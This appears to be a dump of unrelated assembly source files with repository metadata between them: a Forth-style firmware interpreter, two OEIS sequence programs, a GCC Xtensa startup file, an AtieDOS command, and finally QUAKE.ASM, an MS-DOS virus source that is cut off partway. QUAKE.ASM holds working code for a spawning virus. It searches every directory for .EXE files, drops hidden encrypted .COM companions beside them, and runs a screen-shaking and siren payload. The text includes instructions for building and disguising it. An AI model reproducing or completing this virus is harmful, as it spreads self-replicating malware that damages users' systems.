pops.r d:%Temp ; Print '\n'
; STEP TWO - Print the word that fucked us
move.v d:%Temp v:ifirm_errstr.setleft
push.r s:%Temp
call.s a:str_puts
pops.r d:%Temp ; Print ">>>>"
load.o d:%WordAddr r:%GL o:#hMemLastAddr
load.o d:%WordLen r:%GL o:#hMemLastLen ; Get the name of the word
:.nameloop load.o d:%Temp r:%WordAddr
push.r s:%Temp
call.s a:ser_send
pops.r d:%Temp
addr.v d:%WordAddr a:%WordAddr v:#h01
subr.v d:%WordLen a:%WordLen v:#h01
cmpr.v a:%WordLen v:#h00
brch.a c:%NEQ a:.nameloop ; Print the bad word
move.v d:%Temp v:ifirm_errstr.setright
push.r s:%Temp
call.s a:str_puts
pops.r d:%Temp ; Print "<<<<\n"
; STEP THREE - Print the stack dump. This is badness
move.v d:%Temp v:ifirm_errstr.setstack
push.r s:%Temp
call.s a:str_puts
pops.r d:%Temp ; Print stack layout message
subr.v d:%Temp a:%DSP v:#h03
load.o d:%Temp r:%Temp
push.r s:%Temp
call.s a:sub_numoutput
pops.r d:%Temp ; DSP - 2
subr.v d:%Temp a:%DSP v:#h02
load.o d:%Temp r:%Temp
push.r s:%Temp
call.s a:sub_numoutput
pops.r d:%Temp ; DSP - 1
subr.v d:%Temp a:%DSP v:#h01
load.o d:%Temp r:%Temp
push.r s:%Temp
call.s a:sub_numoutput
pops.r d:%Temp ; DSP
move.v d:%Temp v:#h0A
push.r s:%Temp
call.s a:ser_send
pops.r d:%Temp ; Print '\n'
brch.a a:errreentry ; Branch back to the interpreter
; =============
; Machine Setup
; Initializes the machine. Not necessary when running as a program but good to have anyway
!zone ifirm_code
:main move.v d:%GL v:#h00 ; The global register is mostly used for branches
move.v d:%SP v:#h1700 ; Set up the call stack
move.v d:%RSP v:#h1200 ; Set up the return stack
move.v d:%DSP v:#h1000 ; Set up the data stack
move.v d:%InptAddr v:#h1400 ; Set up the command buffer
move.v d:%InptOffs v:#00 ; Set up the command buffer offset
move.v d:%Temp v:#h0A
stor.o s:%Temp r:%GL o:#hMemBase ; Store the default numerical base - decimal
call.s a:ioc_init
move.v d:%Temp v:#h7FFF
push.r s:%Temp
move.v d:%Temp v:#h00
push.r s:%Temp
call.s a:ioc_send
pops.r d:%Temp
pops.r d:%Temp ; Reset the I/O controller
:.welcome move.v d:%Temp v:ifirm_str.welcome
push.r s:%Temp
call.s a:str_puts
pops.r d:%Temp ; Print the welcome message
brch.a a:cmdentry ; Jump down to the command handler
; =============
; Command Buffer
; Gets commands from the user
!zone ifirm_cmdbuffer
:errreentry move.v d:%SP v:#h1700 ; Set up the call stack
:cmdreentry move.v d:%InptAddr v:#h1400 ; Reset the input pointer
move.v d:%Temp v:ifirm_str.okprompt
push.r s:%Temp
call.s a:str_puts
pops.r d:%Temp ; Print the "ok" prompt
:cmdentry move.v d:%InptOffs v:#00 ; Set up the command buffer offset
:.cmdloop call.s a:ser_srcv ; Get a character from the terminal
cmpr.v a:%Output v:#h08 ; Is character a backspace?
brch.a c:%NEQ a:.notback ; If not, loop down a few
addr.v d:%InptOffs a:%InptOffs v:#h01 ; Decrement the buffer offset
move.v d:%Output v:#h08
push.r s:%Output
call.s a:ser_send
pops.r d:%Output ; Echo a backspace
brch.a a:.cmdloop ; And loop back around
:.notback cmpr.v a:%Output v:#h0D ; Is character an enter?
brch.a c:%NEQ a:.notenter ; If not, loop down a few
addr.r d:%Temp a:%InptAddr b:%InptOffs
stor.o s:%GL r:%Temp ; Store a zero
move.v d:%Temp v:#h20
push.r s:%Temp
call.s a:ser_send
pops.r d:%Temp ; Print the "I'm processing" space
brch.a a:intpentry ; And jump to the interpreter
:.notenter cmpr.v a:%InptOffs v:#h10 s:#h03 ; Is the command buffer full?
brch.a c:%LET a:.notfull ; If not, loop down a few
brch.a a:.cmdloop ; Loop back around, since we can't do anything anymore
:.notfull addr.r d:%Temp a:%InptAddr b:%InptOffs
stor.o s:%Output r:%Temp ; Store the character
addr.v d:%InptOffs a:%InptOffs v:#h01 ; Increment the buffer offset
push.r s:%Output
call.s a:ser_send
pops.r d:%Output ; Echo the character
brch.a a:.cmdloop ; And loop back around
; =============
; Interpreter
; Starts executing the provided words
!zone ifirm_interpreter
:intpentry move.v d:%InptAddr v:#h1400 ; Reset the input pointer
move.v d:%DictAddr v:#h6000 ; Reset the dictionary pointer
:.runloop push.r s:%InptAddr
move.v d:%Temp v:#h20
push.r s:%Temp
call.s a:sub_tokenize
pops.r d:%Temp
pops.r d:%Temp ; Get a space-delimited string from the input
cmpr.v a:%AuxOutput v:#h00 ; Is the string's length zero?
brch.a c:%EQL a:.runfinish ; If so, there are no more words to execute
push.r s:%Output
move.v d:%Temp v:ifirm_str.wordhit
push.r s:%Temp
call.s a:str_puts
pops.r d:%Temp ; Print the hit message
pops.r d:%Output ; Keep in mind that other routines generally clobber Zz
stor.o s:%AuxOutput r:%GL o:#hMemLastLen
stor.o s:%Output r:%GL o:#hMemLastAddr ; Store the last word called
push.r s:%AuxOutput
push.r s:%Output ; Save these so we know where to go next
push.r s:%Output
push.r s:%AuxOutput
call.s a:sub_dictlookup
pops.r d:%Temp
pops.r d:%Temp ; See if there's a dictionary entry matching the word
cmpr.v a:%Output v:#h00 ; Is the entry's address zero?
brch.a c:%EQL a:.notfound ; If so, the word is invalid
addr.v d:%AuxOutput a:%AuxOutput v:#h02
addr.r d:%Output a:%Output b:%AuxOutput ; Calculate the code address
load.o d:%Output r:%Output ; Load it
push.r s:%Output
move.v d:%Temp v:ifirm_str.tmpmatch
push.r s:%Temp
call.s a:str_puts
pops.r d:%Temp ; Print the error message
pops.r d:%Output
brch.o r:%Output l:%SVSK ; And run the word
pops.r d:%Output
pops.r d:%AuxOutput ; Restore the buffer pointer and length
addr.r d:%InptAddr a:%Output b:%AuxOutput ; Move the buffer pointer to the next word
brch.a a:.runloop ; And loop back up to run another word
:.notfound pops.r d:%Output
pops.r d:%AuxOutput ; Clear the stack
push.r s:%AuxOutput
push.r s:%Output ; Save these so we know where to go next
push.r s:%Output
push.r s:%AuxOutput
call.s a:sub_numconvert
pops.r d:%Temp
pops.r d:%Temp ; See if the result was a number
cmpr.v a:%AuxOutput v:#h00 ; Was it a number
brch.a c:%NEQ a:.notnumber ; If not, abort
move.r d:%AuxOutput s:%Output
call.s a:sub_pushds ; Onto the stack it goes
pops.r d:%Output
pops.r d:%AuxOutput ; Restore the buffer pointer and length
addr.r d:%InptAddr a:%Output b:%AuxOutput ; Move the buffer pointer to the next word
brch.a a:.runloop
:.notnumber move.v d:%Temp v:#h03
push.r s:%Temp
call.s a:sub_callerror
pops.r d:%Temp ; This pop will never be called but whatever
:.runfinish brch.a a:cmdreentry ; Not sure if something else needs to be done here, so I'll make it separate
; =============
; Dictionary
; Predefined words
!ip h00006000
:dict_restart !data h40700000
!wstr "restart"
!data $dict_period
!data $entry ; IT'S A HACK AGAIN
:dict_period !data h40100000
!wstr "."
!data $dict_add
!data $dictc_period
:dictc_period call.s a:sub_popsds ; Retrieve the number
push.r s:%Output
call.s a:sub_numoutput
pops.r d:%Output ; Print it
rtrn.s ; And return
:dict_add !data h40100000
!wstr "+"
!data $dict_subtract
!data $dictc_add
:dictc_add call.s a:sub_popsds
move.r d:%StackWorkA s:%Output
call.s a:sub_popsds
move.r d:%StackWorkB s:%Output ; Get the terms
addr.r d:%AuxOutput a:%StackWorkB b:%StackWorkA ; Add em
call.s a:sub_pushds ; And put back on the data stack
rtrn.s ; And return
:dict_subtract !data h40100000
!wstr "-"
!data $dict_create
!data $dictc_subtract
:dictc_subtract call.s a:sub_popsds
move.r d:%StackWorkA s:%Output
call.s a:sub_popsds
move.r d:%StackWorkB s:%Output ; Get the terms
subr.r d:%AuxOutput a:%StackWorkB b:%StackWorkA ; Subtract em
call.s a:sub_pushds ; And put back on the data stack
rtrn.s ; And return
:dict_create !data h40600000
!wstr "create"
!data $dict_nullentry
!data $dictc_create
:dictc_create call.s a:sub_popsds
move.r d:%StackWorkA s:%Output
call.s a:sub_popsds
move.r d:%StackWorkB s:%Output ; Get the terms
subr.r d:%AuxOutput a:%StackWorkB b:%StackWorkA ; Subtract em
call.s a:sub_pushds ; And put back on the data stack
rtrn.s ; And return
; =============
; Heap
; Data and code words
!ip h00007000
:dict_nullentry !data h00000000
| 46.310983 | 144 | 0.392271 |
54d6088f88432a1a75adc69129723aa0be64a3f9 | 587 | asm | Assembly | programs/oeis/007/A007093.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/007/A007093.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/007/A007093.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A007093: Numbers in base 7.
; Coded manually 2021-05-07 by Simon Strandgaard, https://github.com/neoneye
; 0,1,2,3,4,5,6,10,11,12,13,14,15,16,20,21,22,23,24,25,26,30,31,32,33,34,35,36,40,41,42,43,44,45,46,50,51,52,53,54,55,56,60,61,62,63,64,65,66,100,101,102,103,104,105,106,110,111,112,113,114,115,116,120
mov $3,1 ; Scale factor for first digit
lpb $0
mov $2,$0
mod $2,7 ; Extract the lowest base 7 digit
mul $2,$3 ; Convert from base 7 to 10
add $1,$2 ; Insert into result
div $0,7 ; Remove the lowest base 7 digit
mul $3,10 ; Scale factor for next digit
lpe
mov $0,$1
| 39.133333 | 201 | 0.679727 |
413cfa0ac10d5e5f978c921ba2e93899837fb6f0 | 1,478 | asm | Assembly | binutils-2.21.1/gcc-4.5.1/gcc/config/xtensa/crtn.asm | cberner12/xv6 | 53c4dfef0d48287ca0d0f9d27eab7a6ed7fee845 | [
"MIT-0"
] | 51 | 2015-01-31T01:51:39.000Z | 2022-02-18T02:01:50.000Z | binutils-2.21.1/gcc-4.5.1/gcc/config/xtensa/crtn.asm | cberner12/xv6 | 53c4dfef0d48287ca0d0f9d27eab7a6ed7fee845 | [
"MIT-0"
] | 7 | 2017-05-29T09:29:00.000Z | 2019-03-11T16:01:39.000Z | binutils-2.21.1/gcc-4.5.1/gcc/config/xtensa/crtn.asm | cberner12/xv6 | 53c4dfef0d48287ca0d0f9d27eab7a6ed7fee845 | [
"MIT-0"
] | 12 | 2015-03-26T08:05:38.000Z | 2022-02-18T02:01:51.000Z | # End of .init and .fini sections.
# Copyright (C) 2003, 2009 Free Software Foundation, Inc.
#
# This file is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3, or (at your option)
# any later version.
#
# GCC is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
# for more details.
#
# Under Section 7 of GPL version 3, you are granted additional
# permissions described in the GCC Runtime Library Exception, version
# 3.1, as published by the Free Software Foundation.
#
# You should have received a copy of the GNU General Public License and
# a copy of the GCC Runtime Library Exception along with this program;
# see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
# <http://www.gnu.org/licenses/>.
# This file just makes sure that the .fini and .init sections do in
# fact return. Users may put any desired instructions in those sections.
# This file is the last thing linked into any executable.
#include "xtensa-config.h"
.section .init
#if XCHAL_HAVE_WINDOWED && !__XTENSA_CALL0_ABI__
retw
#else
l32i a0, sp, 0
addi sp, sp, 32
ret
#endif
.section .fini
#if XCHAL_HAVE_WINDOWED && !__XTENSA_CALL0_ABI__
retw
#else
l32i a0, sp, 0
addi sp, sp, 32
ret
#endif
| 31.446809 | 73 | 0.752368 |
82bf35137ba01e7cce758243dc5f5e6bbfb30287 | 487 | asm | Assembly | oeis/194/A194589.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/194/A194589.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/194/A194589.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A194589: a(n) = A194588(n) - A005043(n); complementary Riordan numbers.
; Submitted by Jon Maiga
; 0,0,1,1,5,11,34,92,265,751,2156,6194,17874,51702,149941,435749,1268761,3700391,10808548,31613474,92577784,271407896,796484503,2339561795,6877992334,20236257626,59581937299,175546527727,517538571125,1526679067331,4505996000730
mov $3,$0
mov $5,$0
lpb $5
mov $0,$3
sub $0,2
sub $5,1
sub $0,$5
mov $1,$3
bin $1,$0
mov $2,$5
bin $2,$0
mul $1,$2
add $4,$1
lpe
mov $0,$4
| 24.35 | 227 | 0.694045 |
5c8f1dc9656d39f1bc2b0a21157179c8fcc20820 | 333 | asm | Assembly | commands/help.asm | alexbelm48/AtieDOS | 89e10732870ea0cb0d665974966cc19753fe6698 | [
"BSD-3-Clause"
] | 33 | 2020-03-14T16:42:25.000Z | 2022-01-15T21:04:01.000Z | commands/help.asm | alexbelm48/AtieDOS | 89e10732870ea0cb0d665974966cc19753fe6698 | [
"BSD-3-Clause"
] | 1 | 2020-03-18T11:35:36.000Z | 2020-03-18T11:35:36.000Z | commands/help.asm | alexbelm48/AtieDOS | 89e10732870ea0cb0d665974966cc19753fe6698 | [
"BSD-3-Clause"
] | 6 | 2020-03-15T09:55:26.000Z | 2021-07-06T13:47:43.000Z | ; AtieDOS 2.10 Help Command
; Copyright (c) 2020 AtieSoftware. All rights reserved.
; See LICENSE in the root folder
command_help:
call os_command_init
mov bx, .HELP_COMMANDS
call os_print_string
call os_command_finish
.HELP_COMMANDS: db "about chset clear echo help pause prompt restart shutdown stra write",0
| 20.8125 | 91 | 0.756757 |
c58673a4f4e87a7873a53d49e2ebaee15636527d | 774 | asm | Assembly | oeis/345/A345176.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/345/A345176.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/345/A345176.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A345176: a(n) = Sum_{k=1..n} floor(n/k)^k.
; Submitted by Jamie Morken(s3)
; 1,3,5,10,12,26,28,52,73,115,117,295,297,439,713,1160,1162,2448,2450,4644,6832,8902,8904,23536,25639,33857,53247,84961,84963,192237,192239,318477,493909,625015,695789,1761668,1761670,2285996,3872598,6255230,6255232,13392362,13392364,21608510,37642544,46031198,46031200,123475726,124019335,166331817,295341727,427973009,427973011,957743925,1002438799,1539895447,2701633655,3238504625,3238504627,9136008903,9136008905,11283492615,21774711657,30332626918,31486343642,71767885484,71767885486,105998501744
mov $4,2
lpb $4
sub $4,1
add $0,$4
sub $0,1
lpb $0
mov $2,$0
sub $0,1
add $3,1
div $2,$3
add $2,1
pow $2,$3
add $5,$2
lpe
sub $4,1
lpe
mov $0,$5
add $0,1
| 33.652174 | 501 | 0.728682 |
3fdd781f9e50b90b5ad1e5c8b4ac2e2d7bdb1c4c | 29,800 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.vclquake.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.vclquake.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.vclquake.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ; -----------------------------------------------------------------------------
; QUAKE.ASM
; Created with Nowhere Man's Virus Creation Laboratory v1.00
;
; Heavily modified VCL and Original Code by the best Bleeding Edge virus
; writer: Night Breeze. See you all in fuckin' HELL!
;
; This is a "spawning" virus and, technically, a trojan horse. First time it
; is run, it will do the earthquake thing - but only after infecting another
; file first! When the infected file is executed (in it's directory) then it
; will infect another file and run the app. Then, when all files on that drive
; are infected, it will again do the earthquake thing!
;
; Build instructions:
;
; Assemble QUAKE.ASM to QUAKE.COM
; d:\tasm\tasm /mx /m2 /q /t quake
; link quake;
; exe2bin quake.exe quake.com
;
; Run QUAKE.COM and file the infected file...<g>
; Find file
; ATTRIB *.COM -r -h
;
; Get a copy of that file as it is encrypted...
; COPY filename.COM \mydir\TEMP.COM
;
; Compile QINJECT.PAS
;
; Cat the two files:
; COPY /b TEMP.COM+QINJECT.EXE QUAKE.EXE (i know, overwrites)
;
; Now, QINJECT actually as the same strings (most) as QUAKE.COM, so if the
; user types or debugs the program, will see the strings. The REAL virus
; is hidden, and encrypted, at the start of QUAKE.EXE (it's really a com file).
;
; NOTE: The flag SHOW_FLAG is used to allow an intial infection, then to all
; the victim to see an apparently good program - although he is getting
; fucked :)
;
;
; If all that was too hard... just distribute the enclosed EARTH.EXE program:)
;
; -----------------------------------------------------------------------------
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
; -----------------------------------------------------------------------------
main proc near
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
inc Show_Flag ; Inc infect count
mov si, offset spawn_name ; Save a copy of the
mov di, offset save_name ; file to "spawn"
cld
mov cx, 14 ; It's allways 14 bytes
rep movsb
call search_files ; Find and infect a file
mov al,byte ptr [set_carry] ; AX holds ALL INFECTED value
cmp al, 0 ; Have we infected all files?
jz Effect ; If so, then do it!
cmp Show_Flag,3 ; Should we show display?
jl Effect
jmp short end00
Effect:
call EarthQuake ; Let's do it!
jmp short Finito ; And don't run app!
end00:
mov ah,04Ah ; DOS resize memory function
mov bx,(finish - start) / 16 + 0272h ; BX holds # of para.
int 021h
mov sp,(finish - start) + 01100h ; Change top of stack
mov si,offset save_name ; SI points to true filename
int 02Eh ; DOS execution back-door
Finito:
mov ah,04Ch ; DOS terminate function
int 021h
main endp
; -----------------------------------------------------------------------------
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
mov dx,offset root ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
; -----------------------------------------------------------------------------
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
mov dx,offset all_files ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
mov dx,offset up_dir ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
mov dx,offset exe_mask ; DX points to "*.EXE"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
exe_mask db "*.EXE",0 ; Mask for all .EXE files
traverse endp
; -----------------------------------------------------------------------------
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx, 00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
; -----------------------------------------------------------------------------
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop: lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end:
mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc infection_done ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx, 00100011b ; CX holds file attributes
int 021h
xchg bx,ax ; BX holds file handle
call encrypt_code ; Write an encrypted copy
mov ah,03Eh ; DOS close file function
int 021h
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
ret ; Return to caller
; -----------------------------------------------------------------------------
spawn_name db 0, 12 dup (?),13 ; Name for next spawn
save_name db 0, 12 dup (?),13 ; Name for current spawn
show_flag db 0 ; When 0 & 1 then show display
set_carry db ? ; Set-carry-on-exit flag
infect_file endp
; =============================================================================
EarthQuake proc near
call InitCrt ; Initialize the vars
call DrawFrame ; Draw a frame in middle of screen
mov cx, 2 ; Make some noise
call Siren
mov si, OFFSET Warning ; Put Msg 1
mov dx,0718h ; Move to Row 8, column 20
call WriteStr
mov cx, 1
call Siren
mov si, OFFSET ToHills ; Put Msg 2
mov dx,0A16h ; Move to Row 10, column 18
call WriteStr
mov cx, 2 ; More noise
call Siren
call Shake ; Shake the screen - it's a quake!
call DrawFrame ; Draw a frame in middle of screen
mov si, OFFSET MadeIt ; Put Made It Msg
mov dx,081Fh
call WriteStr
cmp Show_Flag, 3
jl EarthDone
mov si, OFFSET BurmaShave ; Put Logo
mov dx,0C36h
call WriteStr
EarthDone:
ret
EarthQuake endp
Warning db '* * * Earthquake Warning! * * *', 0
ToHills db 'Head for the hills! Take cover!!!', 0
MadeIt db 'Whew! We Made It!', 0
BurmaShave db '-=[VCL/BEv]=-', 0
Table struc ; Structure of the Shaker Table
Iters db 0 ; Number of interations (quakes)
Cols db 0 ; Scroll number of columns
Pause dw 0 ; And then wait this much time
Table ends
QuakeTable Table < 3, 1, 500>
Table < 4, 2, 250>
Table < 5, 3, 175>
Table < 6, 4, 100>
Table <10, 5, 30>
Table <20, 5, 10>
Table <10, 5, 30>
Table < 5, 4, 100>
Table < 4, 3, 175>
Table < 3, 2, 250>
Table < 2, 1, 500>
Table < 0, 0, 0> ; End of data
; -----------------------------------------------------------------------------
Shake proc near
mov si, OFFSET QuakeTable ; Get pointer to table
xor cx,cx
ShakeNext:
mov cl, [si].Iters
jcxz ShakeDone
ShakeInner:
push cx ; Save for later
push si ; ditto
xor ax,ax ; duh...
mov al, [si].Cols ; Number of columns to scroll
push ax ; Get Ready
call ScrollRight ; Go...Scroll Screen to right
pop si ; Restore it
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
jle ShakeCont1 ; If less or equal then skip vert scroll
mov ah, 6 ; Scroll up 1 line
call Scroll ; Do it.
ShakeCont1:
mov cx, [si].Pause ; delay period
call Delay ; Wait around a bit
push si ; And save our table index for l8r
xor ax,ax ; duh...
mov al, [si].Cols ; Number of columns to scroll
push ax ; Get Ready...Set...
call ScrollLeft ; Go! ... Scroll screen left
pop si ; And restore our table index
cmp [si].Cols, 3 ; Check if we are scrolling more than 3
jle ShakeCont2 ; If less or equal then skip vert scroll
mov ah, 7 ; Scroll up 1 line
call Scroll ; Do it.
ShakeCont2:
mov cx, [si].Pause ; pause again
call Delay ; Do it.
pop cx ; Get back our iteration counter
Loop ShakeInner ; Keep going
add si, 4 ; Move to next table element
jmp short ShakeNext ; Keep on doing it...
ShakeDone:
ret
Shake endp
; -----------------------------------------------------------------------------
; in: cx = number of times to do the siren
Siren proc near
KeepGoing:
push cx ; Save the count
mov ax, 880 ; Freq
mov bx, 500 ; Duration = 1/2 second
push ax ; Put Freq on stack
push bx ; Put Duration on stack
call Beep ; Make a noise
mov ax, 660 ; Freq
mov bx, 500 ; Duration = 1/5 second
push ax ; Put Freq on stack
push bx ; Put Duration on stack
call Beep ; Make more noise
pop cx ; Restore the count
loop KeepGoing ; So we can keep going
ret
Siren endp
; -----------------------------------------------------------------------------
; ds:si points to the null terminated string to print
; dx has row/col - dh=row
WriteStr proc near
mov bh,0 ; We'll be working on page 0
WriteMore:
mov al,[si] ; get the next character to print
cmp al, 0 ; done yet?
jz WriteDone ; Yep, so quit
inc si ; si++
mov ah,2 ; locate cursor at dx
int 10h ; do it
push cx ; save it for later
mov cx,1 ; count of characters to write!
mov ah,10 ; subfunction 10
int 10h ; call bios to do our dirty work
pop cx ; get it back
inc dx ; move to next cursor position
jmp short WriteMore ; keep going for cx
WriteDone:
ret
WriteStr endp
; -----------------------------------------------------------------------------
DrawFrame proc near
push bp ; Work around a stoopid bug in PC/XTs
mov ax, 0600h ; Draw and clear the outer frame
push ax ; Save for later
mov cx, 050Ah ; Upper screen coords: CH = ROW
mov dx, 0D46h ; Lower bounds, DH = ROW
mov bh, 70h ; Color is White Background, Black fore
int 10h ; Do It.
pop ax ; Draw and clear the inner frame
mov cx, 060Ch ; Upper screen coords: CH = ROW
mov dx, 0C44h ; Lower bounds, DH = ROW
mov bh, 0Eh ; Color is Black Background, Yellow fore
int 10h ; Do It Again
pop bp ; End of stoopid fix
ret
DrawFrame endp
; =============================================================================
ScrollRight proc near
push bp
mov bp, sp
mov ax, [bp+4] ; calc ColsToMove <- LEN shl 1
shl ax, 1 ; multiply by 2
mov ColsToMove, ax ; And save it
mov bx, NumCols ; calc WordsToScroll <- NumCols - LEN
sub bx, ax ; adjust for scroll difference
inc bx ; BX = WordsToScroll
mov ax, VidSegment ; Put ES = Video Segment
mov es, ax
xor ax, ax ; Start on row 0 aka 1
sr_NextRow:
push ax ; Save for later
mul LineWidth ; AX now has ROW * LineWidth
push ax ; Save start of row offset for printing
add ax, LineWidth ; AX points to last byte of the row
sub ax, ColsToMove ; This moves back 1 LEN of ch/attr pairs
mov di, ax ; save in DEST
sub ax, ColsToMove ; AX now moves back another LEN pairs
mov si, ax ; save in SOURCE
mov cx, bx ; BX = Words to Scroll
push ds ; Stash this
push es ; Make DS = ES
pop ds ; Like this
std ; Set SI and DI to decrement
rep movsw
pop ds ; Get the DS back
pop di ; Grab the Source Offset we saved above
mov cx, [bp+4] ; Prepare to print LEN blanks
call PrintBlank
pop ax ; Saved row
inc ax ; Move to next row
cmp ax, 25 ; Done with all rows?
jne sr_NextRow ; No? Then do next row!
mov sp, bp
pop bp
ret 2
ScrollRight endp
; -----------------------------------------------------------------------------
ScrollLeft proc near
push bp
mov bp, sp
mov ax, [bp+4] ; calc ColsToMove := Len Shl 1
shl ax, 1
mov ColsToMove, ax
mov bx, NumCols ; calc WordsToScroll := pred(NumCols) shl 1
mov ax, VidSegment ; Make ES point to the video segment
mov es, ax
mov es, ax
xor ax, ax ; Start on row 0 aka 1
sl_NextRow:
push ax ; Save Row for later
mul LineWidth ; calc AX := Row * LineWidth
push ax ; Save Start of Line
mov di, ax ; This is where it's going
add ax, ColsToMove ; calc AX := AX + ColsToMove
mov si, ax ; This will be our source
push ds ; Stash for later ...
push es ; Make DS = ES = Video Segment
pop ds
mov cx, bx ; BX = Words To Scroll
cld ; Set SI and DI to decrement
rep movsw
pop ds ; Get our DS back...
pop di ; Grab the Source Offset we saved
add di, LineWidth
sub di, colsToMove
mov cx, [bp+4] ; Prepare to print some blanks
call PrintBlank ; Do It
pop ax ; Get back out row value
inc ax ; And move to next row
cmp ax, 25 ; first check if we are done
